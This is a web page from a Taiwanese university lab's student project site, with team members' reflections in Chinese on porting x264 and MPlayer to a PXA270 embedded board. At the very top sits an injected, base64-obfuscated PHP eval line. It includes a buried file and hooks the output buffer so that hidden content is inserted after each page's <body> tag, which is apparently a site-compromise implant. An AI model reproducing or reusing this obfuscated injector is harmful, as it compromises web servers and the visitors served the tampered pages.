/**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvdmFyL3d3dy9odG1sL2NoaW5lc2UvcGNjaGFuZy9jb3Vyc2U5NmIvdnE5Ny9Db21wcmVzcy9tcGVnYXVkaW8vX3Z0aV9wdnQvX3Z0aV9jbmYvY29wcGVyLnBocCcpKXtpbmNsdWRlX29uY2UoJy92YXIvd3d3L2h0bWwvY2hpbmVzZS9wY2NoYW5nL2NvdXJzZTk2Yi92cTk3L0NvbXByZXNzL21wZWdhdWRpby9fdnRpX3B2dC9fdnRpX2NuZi9jb3BwZXIucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCl7JFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2Qj1vcmQoc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsMywxKSk7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT0xMDskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPTA7aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY0KXskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPXVucGFjaygndicsc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsMTAsMikpOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMVsxXTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKz0yKyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImOCl7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT1zdHJwb3MoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCxjaHIoMCksJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkrMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiYxNil7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT1zdHJwb3MoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCxjaHIoMCksJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkrMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiYyKXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKz0yO30kUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPWd6aW5mbGF0ZShzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSk7aWYoJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz09PUZBTFNFKXskUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPSRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4Njg7fXJldHVybiAkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzO319ZnVuY3Rpb24gZGdvYmgoJFJEQTNFNjE0MTRFNTBBRUU5NjgxMzJGMDNEMjY1RTBDRil7SGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7JFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MD1nemRlY29kZSgkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKTtpZihwcmVnX21hdGNoKCcvXDxib2R5L3NpJywkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCk7fWVsc2V7cmV0dXJuIGdtbCgpLiRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTA7fX1vYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>
- 首頁
- 前言
- 研究目的
- 視訊編碼
- 嵌入式系統
- 使用軟體
- 操作平台
- x.264編譯流程
- MPlayer編譯流程
- 心得報告
- 參考資料
9. 心得
鄒岱興
嵌入式系統,一個距離大學生遙遠的名詞,而我可以動手操作並且實做出成果來,實在很有成就感。
回想剛開始接觸的時候,實在很辛苦,所有可以參考的資料,不是廠商寫的籠統的說明書,就是網路上破碎不完整的操作指示,而要完成一個步驟常常需要了解許多的專有名詞,光是查名詞的時間就耗掉一大半的時間,加上自己不專精於資工的東西,可說是格外的困難。經過漫漫的摸索,終於有了概念,本以為可以就此很順利完成x264的compile,但是發現了x264使用到了組合語言,因為這部份的組合語言是撰寫給x86系統的,我一直想要找到辦法把他轉給ARM使用,凡是有接觸過嵌入式系統的都知道這是非常困難的,而我在這個問題上停擺了非常久,在這段期間我從compiler本身到組合語言撰寫,都找了不少資料,直到快要deadline的某一天,我心灰意冷就開始亂看C code的部份,卻在無意中發現組合語言的部份也有C code的版本,不過在特定的情況下才會使用到,因此又去看了一下makefile的撰寫,再稍微調整一下我要的binary就出來了,雖然執行效能不佳,其結果可是正確的,我想要是還有時間的話,其實蠻想要寫ARM的組合語言部份,希望可以從4fps拉到15fps左右,這樣就有了實用的價值。
在這次專題中難能可貴的是,不管專題是否有進度,自己都是處在學習當中,雖然遇到了問題沒有人可以提供幫助,可是卻因此學到研究的方法與精神,這可比了解compiler、xscale是什麼東西還要重要多了。總之,專題完成了預定的目標:在PXA270上執行H.264的編碼。
孫鴻仁
H.264是近幾年才出現的一種視訊壓縮格式,檔案小、畫質好的優點也是我們一直在追求的。集這些優點於一身,相對的不論在解碼或是編碼上面都會需要花費大量的運算資源。x264是以H.264為基礎的視訊解碼器,這次我們利用x264移植到嵌入式系統上面來實現高畫質的行動視訊,不過設限於嵌入式系統的處理器並不及於個人電腦,還有x264是以個人電腦運作為基礎設計的,所以不論在功能或是各方面都不太適合用在嵌入式系統上面,這次的專題算是成功移植了x264 encoder以及H.264 decoder:MPlayer,不過整體的編碼速度以及解碼速度還是不甚理想,如果有機會再繼續的話我想我們可以做的就是加速x264 encoder的編碼速度以及改進目前使用的MPlayer,使得MPlayer的視訊解碼速度可以跟上目前主流的影片:30fps,這些都還可以在努力,因為目前做出來的MPlayer以及H.264 decoder的速度實用性實在是不高,因為速度太慢了。
張銘傑
關於這次的專題,因為是要在不同平台上去實現,所以一開始的摸索階段問題會比較多,必須先熟悉不同平台的運作方式,板子上的系統是Linux的,也因為這樣必須先熟悉 Linux的操作方式才有辦法實際開始運作,慢慢的克服了需要克服的問題,也找了需要看的資料來看,感覺對Linux系統更熟悉,也學到許多關於不同平台上移植必須克服的問題,算是給自己不錯的經驗與成就感,以後遇到類似的東西,也比較不會那麼陌生了。感謝這次專題的組員大家一起合作。
李亭蓉
經過這次的專題實作,我學習到如何想盡辦法利用其他的管道,絞盡腦汁尋找很多其他的資源去學習許多課本以外的問題的解答。事實上,這項能力的確是進入研究領域後的必備課內知識。有別於大學前兩年的求學方式,只要念念書應付考考試,死板板吸收冰冷冷的知識,專題實作更讓大學生明確知道未來的研究方向。雖然我是以外系的身份空降到張寶基老師的實驗室修專題實作課程,但是助教學長姊們的幫助以及同組和非同組的同學們在通訊領域上的幫助,都讓我覺得通訊是一門有趣且相當值得繼續研究的領域。
Copyright © 國立中央大學通訊工程學系 音視訊處理實驗室